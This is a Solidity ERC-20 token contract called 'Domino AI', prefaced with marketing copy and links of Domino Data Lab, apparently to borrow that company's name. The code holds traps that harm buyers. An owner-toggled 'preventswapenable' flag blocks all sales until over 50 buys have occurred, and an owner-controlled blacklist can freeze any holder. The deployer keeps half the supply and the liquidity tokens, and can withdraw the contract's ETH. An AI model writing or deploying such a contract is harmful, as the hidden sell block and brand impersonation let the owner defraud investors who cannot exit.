creation_sourcecode: /**
  /*
  
  /*
  
  Joni us on this adventurous Journey.
  
  https://twitter.com/DominoDataLab
  
  https://domino.ai/
  
  
  Domino is the Enterprise MLOps platform trusted by over 20% of the Fortune 100. 
  
  Our products enable thousands of data scientists to develop better medicines, grow more productive crops, adapt risk models to major economic shifts, 
  
  build better cars, improve customer support, or simply recommend the best purchase to make at the right time. 
  
  At Domino,our mission is to unleash the power of data science to address the world’s most important challenges.
  
  */
  
  // SPDX-License-Identifier: MIT
  
  pragma solidity 0.8.20;
  
  abstract contract Context {
      function _msgSender() internal view virtual returns (address) {
          return msg.sender;
      }
  }
  
  interface IERC20 {
      function totalSupply() external view returns (uint256);
  
      function balanceOf(address account) external view returns (uint256);
  
      function transfer(address recipient, uint256 amount)
          external
          returns (bool);
  
      function allowance(address owner, address spender)
          external
          view
          returns (uint256);
  
      function approve(address spender, uint256 amount) external returns (bool);
  
      function transferFrom(
          address sender,
          address recipient,
          uint256 amount
      ) external returns (bool);
  
      event Transfer(address indexed from, address indexed to, uint256 value);
  
      event Approval(
          address indexed owner,
          address indexed spender,
          uint256 value
      );
  }
  
  library SafeMath {
      function add(uint256 a, uint256 b) internal pure returns (uint256) {
          uint256 c = a + b;
  
          require(c >= a, "SafeMath: addition overflow");
  
          return c;
      }
  
      function sub(uint256 a, uint256 b) internal pure returns (uint256) {
          return sub(a, b, "SafeMath: subtraction overflow");
      }
  
      function sub(
          uint256 a,
          uint256 b,
          string memory errorMessage
      ) internal pure returns (uint256) {
          require(b <= a, errorMessage);
  
          uint256 c = a - b;
  
          return c;
      }
  
      function mul(uint256 a, uint256 b) internal pure returns (uint256) {
          if (a == 0) {
              return 0;
          }
  
          uint256 c = a * b;
  
          require(c / a == b, "SafeMath: multiplication overflow");
  
          return c;
      }
  
      function div(uint256 a, uint256 b) internal pure returns (uint256) {
          return div(a, b, "SafeMath: division by zero");
      }
  
      function div(
          uint256 a,
          uint256 b,
          string memory errorMessage
      ) internal pure returns (uint256) {
          require(b > 0, errorMessage);
  
          uint256 c = a / b;
  
          return c;
      }
  }
  
  contract Ownable is Context {
      address private _owner;
  
      event OwnershipTransferred(
          address indexed previousOwner,
          address indexed newOwner
      );
  
      constructor() {
          address msgSender = _msgSender();
  
          _owner = msgSender;
  
          emit OwnershipTransferred(address(0), msgSender);
      }
  
      function owner() public view returns (address) {
          return _owner;
      }
  
      modifier onlyOwner() {
          require(_owner == _msgSender(), "Ownable: caller is not the owner");
  
          _;
      }
  
      function renounceOwnership() public virtual onlyOwner {
          emit OwnershipTransferred(_owner, address(0));
  
          _owner = address(0);
      }
  }
  
  interface IUniswapV2Factory {
      function createPair(address tokenA, address tokenB)
          external
          returns (address pair);
  }
  
  interface IUniswapV2Router02 {
      function swapExactTokensForETHSupportingFeeOnTransferTokens(
          uint256 amountIn,
          uint256 amountOutMin,
          address[] calldata path,
          address to,
          uint256 deadline
      ) external;
  
      function factory() external pure returns (address);
  
      function WETH() external pure returns (address);
  
      function addLiquidityETH(
          address token,
          uint256 amountTokenDesired,
          uint256 amountTokenMin,
          uint256 amountETHMin,
          address to,
          uint256 deadline
      )
          external
          payable
          returns (
              uint256 amountToken,
              uint256 amountETH,
              uint256 liquidity
          );
  }
  
  contract DominoAI is Context, IERC20, Ownable {
      using SafeMath for uint256;
  
      mapping(address => uint256) private _balances;
  
      mapping(address => mapping(address => uint256)) private _allowances;
  
      mapping(address => bool) private _isExcludedFromFee;
  
      mapping(address => bool) private bots;
  
      address payable private _taxWallet;
  
      uint256 firstBlock;
  
      bool public preventswapenable = true;
  
      uint256 private _initialBuyTax = 5;
  
      uint256 private _initialSellTax = 5;
  
      uint256 private _finalBuyTax = 0;
  
      uint256 private _finalSellTax = 0;
  
      uint256 private _reduceBuyTaxAt = 2;
  
      uint256 private _reduceSellTaxAt = 5;
  
      uint256 private _preventSwapBefore = 50;
  
      uint256 private _buyCount = 0;
  
      uint8 private constant _decimals = 9;
  
      uint256 private constant _tTotal = 1000000000 * 10**_decimals;
  
      string private constant _name = unicode"Domino AI";
  
      string private constant _symbol = unicode"Domino AI";
  
      uint256 public _maxTxAmount = 13800000 * 10**_decimals;
  
      uint256 public _maxWalletSize = 13800000 * 10**_decimals;
  
      uint256 public _taxSwapThreshold = 6900000 * 10**_decimals;
  
      uint256 public _maxTaxSwap = 6900000 * 10**_decimals;
  
      IUniswapV2Router02 private uniswapV2Router;
  
      address private uniswapV2Pair;
  
      bool private tradingOpen;
  
      bool private inSwap = false;
  
      bool private swapEnabled = false;
  
      event MaxTxAmountUpdated(uint256 _maxTxAmount);
  
      modifier lockTheSwap() {
          inSwap = true;
  
          _;
  
          inSwap = false;
      }
  
      constructor() {
          _taxWallet = payable(_msgSender());
  
          _isExcludedFromFee[owner()] = true;
  
          _isExcludedFromFee[address(this)] = true;
  
          _isExcludedFromFee[_taxWallet] = true;
  
          _balances[address(this)] += (_tTotal * 50) / 100;
  
          _balances[_msgSender()] += (_tTotal * 50) / 100;
  
          emit Transfer(address(0), address(this), (_tTotal * 50) / 100);
  
          emit Transfer(address(0), _msgSender(), (_tTotal * 50) / 100);
      }
  
      function name() public pure returns (string memory) {
          return _name;
      }
  
      function symbol() public pure returns (string memory) {
          return _symbol;
      }
  
      function decimals() public pure returns (uint8) {
          return _decimals;
      }
  
      function totalSupply() public pure override returns (uint256) {
          return _tTotal;
      }
  
      function balanceOf(address account) public view override returns (uint256) {
          return _balances[account];
      }
  
      function transfer(address recipient, uint256 amount)
          public
          override
          returns (bool)
      {
          _transfer(_msgSender(), recipient, amount);
  
          return true;
      }
  
      function allowance(address owner, address spender)
          public
          view
          override
          returns (uint256)
      {
          return _allowances[owner][spender];
      }
  
      function approve(address spender, uint256 amount)
          public
          override
          returns (bool)
      {
          _approve(_msgSender(), spender, amount);
  
          return true;
      }
  
      function transferFrom(
          address sender,
          address recipient,
          uint256 amount
      ) public override returns (bool) {
          _transfer(sender, recipient, amount);
  
          _approve(
              sender,
              _msgSender(),
              _allowances[sender][_msgSender()].sub(
                  amount,
                  "ERC20: transfer amount exceeds allowance"
              )
          );
  
          return true;
      }
  
      function _approve(
          address owner,
          address spender,
          uint256 amount
      ) private {
          require(owner != address(0), "ERC20: approve from the zero address");
  
          require(spender != address(0), "ERC20: approve to the zero address");
  
          _allowances[owner][spender] = amount;
  
          emit Approval(owner, spender, amount);
      }
  
      function _transfer(
          address from,
          address to,
          uint256 amount
      ) private {
          require(from != address(0), "ERC20: transfer from the zero address");
  
          require(to != address(0), "ERC20: transfer to the zero address");
  
          require(amount > 0, "Transfer amount must be greater than zero");
  
          uint256 taxAmount = 0;
  
          if (from != owner() && to != owner()) {
              require(isBot(from) == false && isBot(to) == false);
  
              taxAmount = amount
                  .mul(
                      (_buyCount > _reduceBuyTaxAt)
                          ? _finalBuyTax
                          : _initialBuyTax
                  )
                  .div(100);
  
              if (
                  from == uniswapV2Pair &&
                  to != address(uniswapV2Router) &&
                  !_isExcludedFromFee[to]
              ) {
                  require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
  
                  require(
                      balanceOf(to) + amount <= _maxWalletSize,
                      "Exceeds the maxWalletSize."
                  );
  
                  if (firstBlock + 3 > block.number) {
                      require(!isContract(to));
                  }
  
                  _buyCount++;
              }
  
              if (to != uniswapV2Pair && !_isExcludedFromFee[to]) {
                  require(
                      balanceOf(to) + amount <= _maxWalletSize,
                      "Exceeds the maxWalletSize."
                  );
              }
  
              if (to == uniswapV2Pair && from != address(this)) {
                  taxAmount = amount
                      .mul(
                          (_buyCount > _reduceSellTaxAt)
                              ? _finalSellTax
                              : _initialSellTax
                      )
                      .div(100);
  
                  if (preventswapenable == true) {
                      require(_buyCount > _preventSwapBefore);
                  }
              }
  
              uint256 contractTokenBalance = balanceOf(address(this));
  
              if (
                  !inSwap &&
                  to == uniswapV2Pair &&
                  swapEnabled &&
                  contractTokenBalance > _taxSwapThreshold &&
                  _buyCount > _preventSwapBefore
              ) {
                  swapTokensForEth(
                      min(amount, min(contractTokenBalance, _maxTaxSwap))
                  );
  
                  uint256 contractETHBalance = address(this).balance;
  
                  if (contractETHBalance > 0) {
                      sendETHToFee(address(this).balance);
                  }
              }
          }
  
          if (taxAmount > 0) {
              _balances[address(this)] = _balances[address(this)].add(taxAmount);
  
              emit Transfer(from, address(this), taxAmount);
          }
  
          _balances[from] = _balances[from].sub(amount);
  
          _balances[to] = _balances[to].add(amount.sub(taxAmount));
  
          emit Transfer(from, to, amount.sub(taxAmount));
      }
  
      function min(uint256 a, uint256 b) private pure returns (uint256) {
          return (a > b) ? b : a;
      }
  
      function isContract(address account) private view returns (bool) {
          uint256 size;
  
          assembly {
              size := extcodesize(account)
          }
  
          return size > 0;
      }
  
      function flippreventswapenable() public onlyOwner {
          preventswapenable = !preventswapenable;
      }
  
      function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
          address[] memory path = new address[](2);
  
          path[0] = address(this);
  
          path[1] = uniswapV2Router.WETH();
  
          _approve(address(this), address(uniswapV2Router), tokenAmount);
  
          uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
              tokenAmount,
              0,
              path,
              address(this),
              block.timestamp
          );
      }
  
      function removeLimits() external onlyOwner {
          _maxTxAmount = _tTotal;
  
          _maxWalletSize = _tTotal;
  
          emit MaxTxAmountUpdated(_tTotal);
      }
  
      function sendETHToFee(uint256 amount) private {
          _taxWallet.transfer(amount);
      }
  
      function addBots(address[] memory bots_) public onlyOwner {
          for (uint256 i = 0; i < bots_.length; i++) {
              bots[bots_[i]] = true;
          }
      }
  
      function delBots(address[] memory notbot) public onlyOwner {
          for (uint256 i = 0; i < notbot.length; i++) {
              bots[notbot[i]] = false;
          }
      }
  
      function isBot(address a) public view returns (bool) {
          return bots[a];
      }
  
      function openTrading() external onlyOwner {
          require(!tradingOpen, "trading is already open");
  
          uniswapV2Router = IUniswapV2Router02(
              0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
          );
  
          uniswapV2Pair = address(
              IUniswapV2Factory(uniswapV2Router.factory()).createPair(
                  address(this),
                  uniswapV2Router.WETH()
              )
          );
  
          _approve(address(this), address(uniswapV2Pair), type(uint256).max);
  
          _approve(address(this), address(uniswapV2Router), type(uint256).max);
  
          IERC20(address(uniswapV2Pair)).approve(
              address(uniswapV2Router),
              type(uint256).max
          );
  
          uniswapV2Router.addLiquidityETH{value: address(this).balance}(
              address(this),
              balanceOf(address(this)),
              0,
              0,
              msg.sender,
              block.timestamp
          );
  
          swapEnabled = true;
  
          tradingOpen = true;
  
          firstBlock = block.number;
      }
  
      function withdrawETH() external onlyOwner {
          (bool success, ) = address(owner()).call{value: address(this).balance}(
              ""
          );
  
          require(success, "Failed in withdrawal");
      }
  
      receive() external payable {}
  }